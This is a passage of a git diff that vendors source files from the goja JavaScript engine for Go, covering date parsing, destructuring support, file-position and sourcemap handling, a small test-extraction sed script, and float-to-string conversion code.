!= timeUnset +} + +func (d *dateObject) unset() { + d.msec = timeUnset +} + +func (d *dateObject) time() time.Time { + return timeFromMsec(d.msec) +} + +func (d *dateObject) timeUTC() time.Time { + return timeFromMsec(d.msec).In(time.UTC) +} diff --git a/backend/vendor/github.com/dop251/goja/date_parser.go b/backend/vendor/github.com/dop251/goja/date_parser.go new file mode 100644 index 0000000..971f1ee --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/date_parser.go @@ -0,0 +1,426 @@ +package goja + +import ( + "strings" +) + +type date struct { + year, month, day int + hour, min, sec, msec int + timeZoneOffset int // time zone offset in minutes + isLocal bool +} + +func skip(s string, c byte) (string, bool) { + if len(s) > 0 && s[0] == c { + return s[1:], true + } + return s, false +} + +func skipSpaces(s string) string { + for len(s) > 0 && s[0] == ' ' { + s = s[1:] + } + return s +} + +func skipUntil(s string, stopList string) string { + for len(s) > 0 && !strings.ContainsRune(stopList, rune(s[0])) { + s = s[1:] + } + return s +} + +func match(s string, lower string) (string, bool) { + if len(s) < len(lower) { + return s, false + } + for i := 0; i < len(lower); i++ { + c1 := s[i] + c2 := lower[i] + if c1 != c2 { + // switch to lower-case; 'a'-'A' is known to be a single bit + c1 |= 'a' - 'A' + if c1 != c2 || c1 < 'a' || c1 > 'z' { + return s, false + } + } + } + return s[len(lower):], true +} + +func getDigits(s string, minDigits, maxDigits int) (int, string, bool) { + var i, v int + for i < len(s) && i < maxDigits && s[i] >= '0' && s[i] <= '9' { + v = v*10 + int(s[i]-'0') + i++ + } + if i < minDigits { + return 0, s, false + } + return v, s[i:], true +} + +func getMilliseconds(s string) (int, string) { + mul, v := 100, 0 + if len(s) > 0 && (s[0] == '.' || s[0] == ',') { + const I_START = 1 + i := I_START + for i < len(s) && i-I_START < 9 && s[i] >= '0' && s[i] <= '9' { + v += int(s[i]-'0') * mul + mul /= 10 + i++ + } + if i > I_START { + // only consume the separator if digits are present + return v, s[i:] + } + } + return 0, s +} + +// [+-]HH:mm or [+-]HHmm or Z +func getTimeZoneOffset(s string, strict bool) (int, string, bool) { + if len(s) == 0 { + return 0, s, false + } + sign := s[0] + if sign == '+' || sign == '-' { + var hh, mm, v int + var ok bool + t := s[1:] + n := len(t) + if hh, t, ok = getDigits(t, 1, 9); !ok { + return 0, s, false + } + n -= len(t) + if strict && n != 2 && n != 4 { + return 0, s, false + } + for n > 4 { + n -= 2 + hh /= 100 + } + if n > 2 { + mm = hh % 100 + hh = hh / 100 + } else if t, ok = skip(t, ':'); ok { + if mm, t, ok = getDigits(t, 2, 2); !ok { + return 0, s, false + } + } + if hh > 23 || mm > 59 { + return 0, s, false + } + v = hh*60 + mm + if sign == '-' { + v = -v + } + return v, t, true + } else if sign == 'Z' { + return 0, s[1:], true + } + return 0, s, false +} + +var tzAbbrs = []struct { + nameLower string + offset int +}{ + {"gmt", 0}, // Greenwich Mean Time + {"utc", 0}, // Coordinated Universal Time + {"ut", 0}, // Universal Time + {"z", 0}, // Zulu Time + {"edt", -4 * 60}, // Eastern Daylight Time + {"est", -5 * 60}, // Eastern Standard Time + {"cdt", -5 * 60}, // Central Daylight Time + {"cst", -6 * 60}, // Central Standard Time + {"mdt", -6 * 60}, // Mountain Daylight Time + {"mst", -7 * 60}, // Mountain Standard Time + {"pdt", -7 * 60}, // Pacific Daylight Time + {"pst", -8 * 60}, // Pacific Standard Time + {"wet", +0 * 60}, // Western European Time + {"west", +1 * 60}, // Western European Summer Time + {"cet", +1 * 60}, // Central European Time + {"cest", +2 * 60}, // Central European Summer Time + {"eet", +2 * 60}, // Eastern European Time + {"eest", +3 * 60}, // Eastern European Summer Time +} + +func getTimeZoneAbbr(s string) (int, string, bool) { + for _, tzAbbr := range tzAbbrs { + if s, ok := match(s, tzAbbr.nameLower); ok { + return tzAbbr.offset, s, true + } + } + return 0, s, false +} + +var monthNamesLower = []string{ + "jan", + "feb", + "mar", + "apr", + "may", + "jun", + "jul", + "aug", + "sep", + "oct", + "nov", + "dec", +} + +func getMonth(s string) (int, string, bool) { + for i, monthNameLower := range monthNamesLower { + if s, ok := match(s, monthNameLower); ok { + return i + 1, s, true + } + } + return 0, s, false +} + +func parseDateISOString(s string) (date, bool) { + if len(s) == 0 { + return date{}, false + } + var d = date{month: 1, day: 1} + var ok bool + + // year is either yyyy digits or [+-]yyyyyy + sign := s[0] + if sign == '-' || sign == '+' { + s = s[1:] + if d.year, s, ok = getDigits(s, 6, 6); !ok { + return date{}, false + } + if sign == '-' { + if d.year == 0 { + // reject -000000 + return date{}, false + } + d.year = -d.year + } + } else if d.year, s, ok = getDigits(s, 4, 4); !ok { + return date{}, false + } + if s, ok = skip(s, '-'); ok { + if d.month, s, ok = getDigits(s, 2, 2); !ok || d.month < 1 { + return date{}, false + } + if s, ok = skip(s, '-'); ok { + if d.day, s, ok = getDigits(s, 2, 2); !ok || d.day < 1 { + return date{}, false + } + } + } + if s, ok = skip(s, 'T'); ok { + if d.hour, s, ok = getDigits(s, 2, 2); !ok { + return date{}, false + } + if s, ok = skip(s, ':'); !ok { + return date{}, false + } + if d.min, s, ok = getDigits(s, 2, 2); !ok { + return date{}, false + } + if s, ok = skip(s, ':'); ok { + if d.sec, s, ok = getDigits(s, 2, 2); !ok { + return date{}, false + } + d.msec, s = getMilliseconds(s) + } + d.isLocal = true + } + // parse the time zone offset if present + if len(s) > 0 { + if d.timeZoneOffset, s, ok = getTimeZoneOffset(s, true); !ok { + return date{}, false + } + d.isLocal = false + } + // error if extraneous characters + return d, len(s) == 0 +} + +func parseDateOtherString(s string) (date, bool) { + var d = date{ + year: 2001, + month: 1, + day: 1, + isLocal: true, + } + var nums [3]int + var numIndex int + var hasYear, hasMon, hasTime, ok bool + for { + s = skipSpaces(s) + if len(s) == 0 { + break + } + c := s[0] + n, val := len(s), 0 + if c == '+' || c == '-' { + if hasTime { + if val, s, ok = getTimeZoneOffset(s, false); ok { + d.timeZoneOffset = val + d.isLocal = false + } + } + if !hasTime || !ok { + s = s[1:] + if val, s, ok = getDigits(s, 1, 9); ok { + d.year = val + if c == '-' { + if d.year == 0 { + return date{}, false + } + d.year = -d.year + } + hasYear = true + } + } + } else if val, s, ok = getDigits(s, 1, 9); ok { + if s, ok = skip(s, ':'); ok { + // time part + d.hour = val + if d.min, s, ok = getDigits(s, 1, 2); !ok { + return date{}, false + } + if s, ok = skip(s, ':'); ok { + if d.sec, s, ok = getDigits(s, 1, 2); !ok { + return date{}, false + } + d.msec, s = getMilliseconds(s) + } + hasTime = true + if t := skipSpaces(s); len(t) > 0 { + if t, ok = match(t, "pm"); ok { + if d.hour < 12 { + d.hour += 12 + } + s = t + continue + } else if t, ok = match(t, "am"); ok { + if d.hour == 12 { + d.hour = 0 + } + s = t + continue + } + } + } else if n-len(s) > 2 { + d.year = val + hasYear = true + } else if val < 1 || val > 31 { + d.year = val + if val < 100 { + d.year += 1900 + } + if val < 50 { + d.year += 100 + } + hasYear = true + } else { + if numIndex == 3 { + return date{}, false + } + nums[numIndex] = val + numIndex++ + } + } else if val, s, ok = getMonth(s); ok { + d.month = val + hasMon = true + s = skipUntil(s, "0123456789 -/(") + } else if val, s, ok = getTimeZoneAbbr(s); ok { + d.timeZoneOffset = val + if len(s) > 0 { + if c := s[0]; (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') { + return date{}, false + } + } + d.isLocal = false + continue + } else if c == '(' { + // skip parenthesized phrase + level := 1 + s = s[1:] + for len(s) > 0 && level != 0 { + if s[0] == '(' { + level++ + } else if s[0] == ')' { + level-- + } + s = s[1:] + } + if level > 0 { + return date{}, false + } + } else if c == ')' { + return date{}, false + } else { + if hasYear || hasMon || hasTime || numIndex > 0 { + return date{}, false + } + // skip a word + s = skipUntil(s, " -/(") + } + for len(s) > 0 && strings.ContainsRune("-/.,", rune(s[0])) { + s = s[1:] + } + } + n := numIndex + if hasYear { + n++ + } + if hasMon { + n++ + } + if n > 3 { + return date{}, false + } + + switch numIndex { + case 0: + if !hasYear { + return date{}, false + } + case 1: + if hasMon { + d.day = nums[0] + } else { + d.month = nums[0] + } + case 2: + if hasYear { + d.month = nums[0] + d.day = nums[1] + } else if hasMon { + d.year = nums[1] + if nums[1] < 100 { + d.year += 1900 + } + if nums[1] < 50 { + d.year += 100 + } + d.day = nums[0] + } else { + d.month = nums[0] + d.day = nums[1] + } + case 3: + d.year = nums[2] + if nums[2] < 100 { + d.year += 1900 + } + if nums[2] < 50 { + d.year += 100 + } + d.month = nums[0] + d.day = nums[1] + default: + return date{}, false + } + return d, d.month > 0 && d.day > 0 +} diff --git a/backend/vendor/github.com/dop251/goja/destruct.go b/backend/vendor/github.com/dop251/goja/destruct.go new file mode 100644 index 0000000..5323dc5 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/destruct.go @@ -0,0 +1,298 @@ +package goja + +import ( + "reflect" + + "github.com/dop251/goja/unistring" +) + +type destructKeyedSource struct { + r *Runtime + wrapped Value + usedKeys propNameSet +} + +func newDestructKeyedSource(r *Runtime, wrapped Value) *destructKeyedSource { + return &destructKeyedSource{ + r: r, + wrapped: wrapped, + } +} + +func (r *Runtime) newDestructKeyedSource(wrapped Value) *Object { + return &Object{ + runtime: r, + self: newDestructKeyedSource(r, wrapped), + } +} + +func (d *destructKeyedSource) w() objectImpl { + return d.wrapped.ToObject(d.r).self +} + +func (d *destructKeyedSource) recordKey(key Value) { + d.usedKeys.add(key) +} + +func (d *destructKeyedSource) sortLen() int { + return d.w().sortLen() +} + +func (d *destructKeyedSource) sortGet(i int) Value { + return d.w().sortGet(i) +} + +func (d *destructKeyedSource) swap(i int, i2 int) { + d.w().swap(i, i2) +} + +func (d *destructKeyedSource) className() string { + return d.w().className() +} + +func (d *destructKeyedSource) typeOf() String { + return d.w().typeOf() +} + +func (d *destructKeyedSource) getStr(p unistring.String, receiver Value) Value { + d.recordKey(stringValueFromRaw(p)) + return d.w().getStr(p, receiver) +} + +func (d *destructKeyedSource) getIdx(p valueInt, receiver Value) Value { + d.recordKey(p.toString()) + return d.w().getIdx(p, receiver) +} + +func (d *destructKeyedSource) getSym(p *Symbol, receiver Value) Value { + d.recordKey(p) + return d.w().getSym(p, receiver) +} + +func (d *destructKeyedSource) getOwnPropStr(u unistring.String) Value { + d.recordKey(stringValueFromRaw(u)) + return d.w().getOwnPropStr(u) +} + +func (d *destructKeyedSource) getOwnPropIdx(v valueInt) Value { + d.recordKey(v.toString()) + return d.w().getOwnPropIdx(v) +} + +func (d *destructKeyedSource) getOwnPropSym(symbol *Symbol) Value { + d.recordKey(symbol) + return d.w().getOwnPropSym(symbol) +} + +func (d *destructKeyedSource) setOwnStr(p unistring.String, v Value, throw bool) bool { + return d.w().setOwnStr(p, v, throw) +} + +func (d *destructKeyedSource) setOwnIdx(p valueInt, v Value, throw bool) bool { + return d.w().setOwnIdx(p, v, throw) +} + +func (d *destructKeyedSource) setOwnSym(p *Symbol, v Value, throw bool) bool { + return d.w().setOwnSym(p, v, throw) +} + +func (d *destructKeyedSource) setForeignStr(p unistring.String, v, receiver Value, throw bool) (res bool, handled bool) { + return d.w().setForeignStr(p, v, receiver, throw) +} + +func (d *destructKeyedSource) setForeignIdx(p valueInt, v, receiver Value, throw bool) (res bool, handled bool) { + return d.w().setForeignIdx(p, v, receiver, throw) +} + +func (d *destructKeyedSource) setForeignSym(p *Symbol, v, receiver Value, throw bool) (res bool, handled bool) { + return d.w().setForeignSym(p, v, receiver, throw) +} + +func (d *destructKeyedSource) hasPropertyStr(u unistring.String) bool { + return d.w().hasPropertyStr(u) +} + +func (d *destructKeyedSource) hasPropertyIdx(idx valueInt) bool { + return d.w().hasPropertyIdx(idx) +} + +func (d *destructKeyedSource) hasPropertySym(s *Symbol) bool { + return d.w().hasPropertySym(s) +} + +func (d *destructKeyedSource) hasOwnPropertyStr(u unistring.String) bool { + return d.w().hasOwnPropertyStr(u) +} + +func (d *destructKeyedSource) hasOwnPropertyIdx(v valueInt) bool { + return d.w().hasOwnPropertyIdx(v) +} + +func (d *destructKeyedSource) hasOwnPropertySym(s *Symbol) bool { + return d.w().hasOwnPropertySym(s) +} + +func (d *destructKeyedSource) defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool { + return d.w().defineOwnPropertyStr(name, desc, throw) +} + +func (d *destructKeyedSource) defineOwnPropertyIdx(name valueInt, desc PropertyDescriptor, throw bool) bool { + return d.w().defineOwnPropertyIdx(name, desc, throw) +} + +func (d *destructKeyedSource) defineOwnPropertySym(name *Symbol, desc PropertyDescriptor, throw bool) bool { + return d.w().defineOwnPropertySym(name, desc, throw) +} + +func (d *destructKeyedSource) deleteStr(name unistring.String, throw bool) bool { + return d.w().deleteStr(name, throw) +} + +func (d *destructKeyedSource) deleteIdx(idx valueInt, throw bool) bool { + return d.w().deleteIdx(idx, throw) +} + +func (d *destructKeyedSource) deleteSym(s *Symbol, throw bool) bool { + return d.w().deleteSym(s, throw) +} + +func (d *destructKeyedSource) assertCallable() (call func(FunctionCall) Value, ok bool) { + return d.w().assertCallable() +} + +func (d *destructKeyedSource) vmCall(vm *vm, n int) { + d.w().vmCall(vm, n) +} + +func (d *destructKeyedSource) assertConstructor() func(args []Value, newTarget *Object) *Object { + return d.w().assertConstructor() +} + +func (d *destructKeyedSource) proto() *Object { + return d.w().proto() +} + +func (d *destructKeyedSource) setProto(proto *Object, throw bool) bool { + return d.w().setProto(proto, throw) +} + +func (d *destructKeyedSource) hasInstance(v Value) bool { + return d.w().hasInstance(v) +} + +func (d *destructKeyedSource) isExtensible() bool { + return d.w().isExtensible() +} + +func (d *destructKeyedSource) preventExtensions(throw bool) bool { + return d.w().preventExtensions(throw) +} + +type destructKeyedSourceIter struct { + d *destructKeyedSource + wrapped iterNextFunc +} + +func (i *destructKeyedSourceIter) next() (propIterItem, iterNextFunc) { + for { + item, next := i.wrapped() + if next == nil { + return item, nil + } + i.wrapped = next + if !i.d.usedKeys.has(item.name) { + return item, i.next + } + } +} + +func (d *destructKeyedSource) iterateStringKeys() iterNextFunc { + return (&destructKeyedSourceIter{ + d: d, + wrapped: d.w().iterateStringKeys(), + }).next +} + +func (d *destructKeyedSource) iterateSymbols() iterNextFunc { + return (&destructKeyedSourceIter{ + d: d, + wrapped: d.w().iterateSymbols(), + }).next +} + +func (d *destructKeyedSource) iterateKeys() iterNextFunc { + return (&destructKeyedSourceIter{ + d: d, + wrapped: d.w().iterateKeys(), + }).next +} + +func (d *destructKeyedSource) export(ctx *objectExportCtx) interface{} { + return d.w().export(ctx) +} + +func (d *destructKeyedSource) exportType() reflect.Type { + return d.w().exportType() +} + +func (d *destructKeyedSource) exportToMap(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + return d.w().exportToMap(dst, typ, ctx) +} + +func (d *destructKeyedSource) exportToArrayOrSlice(dst reflect.Value, typ reflect.Type, ctx *objectExportCtx) error { + return d.w().exportToArrayOrSlice(dst, typ, ctx) +} + +func (d *destructKeyedSource) equal(impl objectImpl) bool { + return d.w().equal(impl) +} + +func (d *destructKeyedSource) stringKeys(all bool, accum []Value) []Value { + var next iterNextFunc + if all { + next = d.iterateStringKeys() + } else { + next = (&enumerableIter{ + o: d.wrapped.ToObject(d.r), + wrapped: d.iterateStringKeys(), + }).next + } + for item, next := next(); next != nil; item, next = next() { + accum = append(accum, item.name) + } + return accum +} + +func (d *destructKeyedSource) filterUsedKeys(keys []Value) []Value { + k := 0 + for i, key := range keys { + if d.usedKeys.has(key) { + continue + } + if k != i { + keys[k] = key + } + k++ + } + return keys[:k] +} + +func (d *destructKeyedSource) symbols(all bool, accum []Value) []Value { + return d.filterUsedKeys(d.w().symbols(all, accum)) +} + +func (d *destructKeyedSource) keys(all bool, accum []Value) []Value { + return d.filterUsedKeys(d.w().keys(all, accum)) +} + +func (d *destructKeyedSource) _putProp(name unistring.String, value Value, writable, enumerable, configurable bool) Value { + return d.w()._putProp(name, value, writable, enumerable, configurable) +} + +func (d *destructKeyedSource) _putSym(s *Symbol, prop Value) { + d.w()._putSym(s, prop) +} + +func (d *destructKeyedSource) getPrivateEnv(typ *privateEnvType, create bool) *privateElements { + return d.w().getPrivateEnv(typ, create) +} diff --git a/backend/vendor/github.com/dop251/goja/extract_failed_tests.sh b/backend/vendor/github.com/dop251/goja/extract_failed_tests.sh new file mode 100644 index 0000000..c32513f --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/extract_failed_tests.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +sed -En 's/^.*FAIL: TestTC39\/tc39\/(test\/.*.js).*$/"\1": true,/p' diff --git a/backend/vendor/github.com/dop251/goja/file/README.markdown b/backend/vendor/github.com/dop251/goja/file/README.markdown new file mode 100644 index 0000000..e9228c2 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/file/README.markdown @@ -0,0 +1,110 @@ +# file +-- + import "github.com/dop251/goja/file" + +Package file encapsulates the file abstractions used by the ast & parser. + +## Usage + +#### type File + +```go +type File struct { +} +``` + + +#### func NewFile + +```go +func NewFile(filename, src string, base int) *File +``` + +#### func (*File) Base + +```go +func (fl *File) Base() int +``` + +#### func (*File) Name + +```go +func (fl *File) Name() string +``` + +#### func (*File) Source + +```go +func (fl *File) Source() string +``` + +#### type FileSet + +```go +type FileSet struct { +} +``` + +A FileSet represents a set of source files. + +#### func (*FileSet) AddFile + +```go +func (self *FileSet) AddFile(filename, src string) int +``` +AddFile adds a new file with the given filename and src. + +This an internal method, but exported for cross-package use. + +#### func (*FileSet) File + +```go +func (self *FileSet) File(idx Idx) *File +``` + +#### func (*FileSet) Position + +```go +func (self *FileSet) Position(idx Idx) *Position +``` +Position converts an Idx in the FileSet into a Position. + +#### type Idx + +```go +type Idx int +``` + +Idx is a compact encoding of a source position within a file set. It can be +converted into a Position for a more convenient, but much larger, +representation. + +#### type Position + +```go +type Position struct { + Filename string // The filename where the error occurred, if any + Offset int // The src offset + Line int // The line number, starting at 1 + Column int // The column number, starting at 1 (The character count) + +} +``` + +Position describes an arbitrary source position including the filename, line, +and column location. + +#### func (*Position) String + +```go +func (self *Position) String() string +``` +String returns a string in one of several forms: + + file:line:column A valid position with filename + line:column A valid position without filename + file An invalid position with filename + - An invalid position without filename + +-- +**godocdown** http://github.com/robertkrimen/godocdown diff --git a/backend/vendor/github.com/dop251/goja/file/file.go b/backend/vendor/github.com/dop251/goja/file/file.go new file mode 100644 index 0000000..afdbe17 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/file/file.go @@ -0,0 +1,236 @@ +// Package file encapsulates the file abstractions used by the ast & parser. +package file + +import ( + "fmt" + "net/url" + "path" + "path/filepath" + "sort" + "strings" + "sync" + + "github.com/go-sourcemap/sourcemap" +) + +// Idx is a compact encoding of a source position within a file set. +// It can be converted into a Position for a more convenient, but much +// larger, representation. +type Idx int + +// Position describes an arbitrary source position +// including the filename, line, and column location. +type Position struct { + Filename string // The filename where the error occurred, if any + Line int // The line number, starting at 1 + Column int // The column number, starting at 1 (The character count) + +} + +// A Position is valid if the line number is > 0. + +func (self *Position) isValid() bool { + return self.Line > 0 +} + +// String returns a string in one of several forms: +// +// file:line:column A valid position with filename +// line:column A valid position without filename +// file An invalid position with filename +// - An invalid position without filename +func (self Position) String() string { + str := self.Filename + if self.isValid() { + if str != "" { + str += ":" + } + str += fmt.Sprintf("%d:%d", self.Line, self.Column) + } + if str == "" { + str = "-" + } + return str +} + +// FileSet + +// A FileSet represents a set of source files. +type FileSet struct { + files []*File + last *File +} + +// AddFile adds a new file with the given filename and src. +// +// This an internal method, but exported for cross-package use. +func (self *FileSet) AddFile(filename, src string) int { + base := self.nextBase() + file := &File{ + name: filename, + src: src, + base: base, + } + self.files = append(self.files, file) + self.last = file + return base +} + +func (self *FileSet) nextBase() int { + if self.last == nil { + return 1 + } + return self.last.base + len(self.last.src) + 1 +} + +func (self *FileSet) File(idx Idx) *File { + for _, file := range self.files { + if idx <= Idx(file.base+len(file.src)) { + return file + } + } + return nil +} + +// Position converts an Idx in the FileSet into a Position. +func (self *FileSet) Position(idx Idx) Position { + for _, file := range self.files { + if idx <= Idx(file.base+len(file.src)) { + return file.Position(int(idx) - file.base) + } + } + return Position{} +} + +type File struct { + mu sync.Mutex + name string + src string + base int // This will always be 1 or greater + sourceMap *sourcemap.Consumer + lineOffsets []int + lastScannedOffset int +} + +func NewFile(filename, src string, base int) *File { + return &File{ + name: filename, + src: src, + base: base, + } +} + +func (fl *File) Name() string { + return fl.name +} + +func (fl *File) Source() string { + return fl.src +} + +func (fl *File) Base() int { + return fl.base +} + +func (fl *File) SetSourceMap(m *sourcemap.Consumer) { + fl.sourceMap = m +} + +func (fl *File) Position(offset int) Position { + var line int + var lineOffsets []int + fl.mu.Lock() + if offset > fl.lastScannedOffset { + line = fl.scanTo(offset) + lineOffsets = fl.lineOffsets + fl.mu.Unlock() + } else { + lineOffsets = fl.lineOffsets + fl.mu.Unlock() + line = sort.Search(len(lineOffsets), func(x int) bool { return lineOffsets[x] > offset }) - 1 + } + + var lineStart int + if line >= 0 { + lineStart = lineOffsets[line] + } + + row := line + 2 + col := offset - lineStart + 1 + + if fl.sourceMap != nil { + if source, _, row, col, ok := fl.sourceMap.Source(row, col); ok { + sourceUrlStr := source + sourceURL := ResolveSourcemapURL(fl.Name(), source) + if sourceURL != nil { + sourceUrlStr = sourceURL.String() + } + + return Position{ + Filename: sourceUrlStr, + Line: row, + Column: col, + } + } + } + + return Position{ + Filename: fl.name, + Line: row, + Column: col, + } +} + +func ResolveSourcemapURL(basename, source string) *url.URL { + // if the url is absolute(has scheme) there is nothing to do + smURL, err := url.Parse(filepath.ToSlash(strings.TrimSpace(source))) + if err == nil && !smURL.IsAbs() { + basename = filepath.ToSlash(strings.TrimSpace(basename)) + baseURL, err1 := url.Parse(basename) + if err1 == nil && path.IsAbs(baseURL.Path) { + smURL = baseURL.ResolveReference(smURL) + } else { + // pathological case where both are not absolute paths and using Resolve + // as above will produce an absolute one + smURL, _ = url.Parse(path.Join(path.Dir(basename), smURL.Path)) + } + } + return smURL +} + +func findNextLineStart(s string) int { + for pos, ch := range s { + switch ch { + case '\r': + if pos < len(s)-1 && s[pos+1] == '\n' { + return pos + 2 + } + return pos + 1 + case '\n': + return pos + 1 + case '\u2028', '\u2029': + return pos + 3 + } + } + return -1 +} + +func (fl *File) scanTo(offset int) int { + o := fl.lastScannedOffset + for o < offset { + p := findNextLineStart(fl.src[o:]) + if p == -1 { + fl.lastScannedOffset = len(fl.src) + return len(fl.lineOffsets) - 1 + } + o = o + p + fl.lineOffsets = append(fl.lineOffsets, o) + } + fl.lastScannedOffset = o + + if o == offset { + return len(fl.lineOffsets) - 1 + } + + return len(fl.lineOffsets) - 2 +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/LICENSE_LUCENE b/backend/vendor/github.com/dop251/goja/ftoa/LICENSE_LUCENE new file mode 100644 index 0000000..c8da489 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/LICENSE_LUCENE @@ -0,0 +1,21 @@ +Copyright (C) 1998, 1999 by Lucent Technologies +All Rights Reserved + +Permission to use, copy, modify, and distribute this software and +its documentation for any purpose and without fee is hereby +granted, provided that the above copyright notice appear in all +copies and that both that the copyright notice and this +permission notice and warranty disclaimer appear in supporting +documentation, and that the name of Lucent or any of its entities +not be used in advertising or publicity pertaining to +distribution of the software without specific, written prior +permission. + +LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. +IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY +SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF +THIS SOFTWARE. diff --git a/backend/vendor/github.com/dop251/goja/ftoa/common.go b/backend/vendor/github.com/dop251/goja/ftoa/common.go new file mode 100644 index 0000000..b59a93c --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/common.go @@ -0,0 +1,150 @@ +/* +Package ftoa provides ECMAScript-compliant floating point number conversion to string. + +It contains code ported from Rhino (https://github.com/mozilla/rhino/blob/master/src/org/mozilla/javascript/DToA.java) +as well as from the original code by David M. Gay. + +See LICENSE_LUCENE for the original copyright message and disclaimer. +*/ +package ftoa + +import ( + "math" +) + +const ( + frac_mask = 0xfffff + exp_shift = 20 + exp_msk1 = 0x100000 + + exp_shiftL = 52 + exp_mask_shifted = 0x7ff + frac_maskL = 0xfffffffffffff + exp_msk1L = 0x10000000000000 + exp_shift1 = 20 + exp_mask = 0x7ff00000 + bias = 1023 + p = 53 + bndry_mask = 0xfffff + log2P = 1 +) + +func lo0bits(x uint32) (k int) { + + if (x & 7) != 0 { + if (x & 1) != 0 { + return 0 + } + if (x & 2) != 0 { + return 1 + } + return 2 + } + if (x & 0xffff) == 0 { + k = 16 + x >>= 16 + } + if (x & 0xff) == 0 { + k += 8 + x >>= 8 + } + if (x & 0xf) == 0 { + k += 4 + x >>= 4 + } + if (x & 0x3) == 0 { + k += 2 + x >>= 2 + } + if (x & 1) == 0 { + k++ + x >>= 1 + if (x & 1) == 0 { + return 32 + } + } + return +} + +func hi0bits(x uint32) (k int) { + + if (x & 0xffff0000) == 0 { + k = 16 + x <<= 16 + } + if (x & 0xff000000) == 0 { + k += 8 + x <<= 8 + } + if (x & 0xf0000000) == 0 { + k += 4 + x <<= 4 + } + if (x & 0xc0000000) == 0 { + k += 2 + x <<= 2 + } + if (x & 0x80000000) == 0 { + k++ + if (x & 0x40000000) == 0 { + return 32 + } + } + return +} + +func stuffBits(bits []byte, offset int, val uint32) { + bits[offset] = byte(val >> 24) + bits[offset+1] = byte(val >> 16) + bits[offset+2] = byte(val >> 8) + bits[offset+3] = byte(val) +} + +func d2b(d float64, b []byte) (e, bits int, dblBits []byte) { + dBits := math.Float64bits(d) + d0 := uint32(dBits >> 32) + d1 := uint32(dBits) + + z := d0 & frac_mask + d0 &= 0x7fffffff /* clear sign bit, which we ignore */ + + var de, k, i int + if de = int(d0 >> exp_shift); de != 0 { + z |= exp_msk1 + } + + y := d1 + if y != 0 { + dblBits = b[:8] + k = lo0bits(y) + y >>= k + if k != 0 { + stuffBits(dblBits, 4, y|z<<(32-k)) + z >>= k + } else { + stuffBits(dblBits, 4, y) + } + stuffBits(dblBits, 0, z) + if z != 0 { + i = 2 + } else { + i = 1 + } + } else { + dblBits = b[:4] + k = lo0bits(z) + z >>= k + stuffBits(dblBits, 0, z) + k += 32 + i = 1 + } + + if de != 0 { + e = de - bias - (p - 1) + k + bits = p - k + } else { + e = de - bias - (p - 1) + 1 + k + bits = 32*i - hi0bits(z) + } + return +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/ftoa.go b/backend/vendor/github.com/dop251/goja/ftoa/ftoa.go new file mode 100644 index 0000000..dd266ec --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/ftoa.go @@ -0,0 +1,699 @@ +package ftoa + +import ( + "math" + "math/big" +) + +const ( + exp_11 = 0x3ff00000 + frac_mask1 = 0xfffff + bletch = 0x10 + quick_max = 14 + int_max = 14 +) + +var ( + tens = [...]float64{ + 1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, + 1e10, 1e11, 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19, + 1e20, 1e21, 1e22, + } + + bigtens = [...]float64{1e16, 1e32, 1e64, 1e128, 1e256} + + big5 = big.NewInt(5) + big10 = big.NewInt(10) + + p05 = []*big.Int{big5, big.NewInt(25), big.NewInt(125)} + pow5Cache [7]*big.Int + + dtoaModes = []int{ + ModeStandard: 0, + ModeStandardExponential: 0, + ModeFixed: 3, + ModeExponential: 2, + ModePrecision: 2, + } +) + +/* +d must be > 0 and must not be Inf + +mode: + + 0 ==> shortest string that yields d when read in + and rounded to nearest. + 1 ==> like 0, but with Steele & White stopping rule; + e.g. with IEEE P754 arithmetic , mode 0 gives + 1e23 whereas mode 1 gives 9.999999999999999e22. + 2 ==> max(1,ndigits) significant digits. This gives a + return value similar to that of ecvt, except + that trailing zeros are suppressed. + 3 ==> through ndigits past the decimal point. This + gives a return value similar to that from fcvt, + except that trailing zeros are suppressed, and + ndigits can be negative. + 4,5 ==> similar to 2 and 3, respectively, but (in + round-nearest mode) with the tests of mode 0 to + possibly return a shorter string that rounds to d. + With IEEE arithmetic and compilation with + -DHonor_FLT_ROUNDS, modes 4 and 5 behave the same + as modes 2 and 3 when FLT_ROUNDS != 1. + 6-9 ==> Debugging modes similar to mode - 4: don't try + fast floating-point estimate (if applicable). + + Values of mode other than 0-9 are treated as mode 0. +*/ +func ftoa(d float64, mode int, biasUp bool, ndigits int, buf []byte) ([]byte, int) { + startPos := len(buf) + dblBits := make([]byte, 0, 8) + be, bbits, dblBits := d2b(d, dblBits) + + dBits := math.Float64bits(d) + word0 := uint32(dBits >> 32) + word1 := uint32(dBits) + + i := int((word0 >> exp_shift1) & (exp_mask >> exp_shift1)) + var d2 float64 + var denorm bool + if i != 0 { + d2 = setWord0(d, (word0&frac_mask1)|exp_11) + i -= bias + denorm = false + } else { + /* d is denormalized */ + i = bbits + be + (bias + (p - 1) - 1) + var x uint64 + if i > 32 { + x = uint64(word0)<<(64-i) | uint64(word1)>>(i-32) + } else { + x = uint64(word1) << (32 - i) + } + d2 = setWord0(float64(x), uint32((x>>32)-31*exp_mask)) + i -= (bias + (p - 1) - 1) + 1 + denorm = true + } 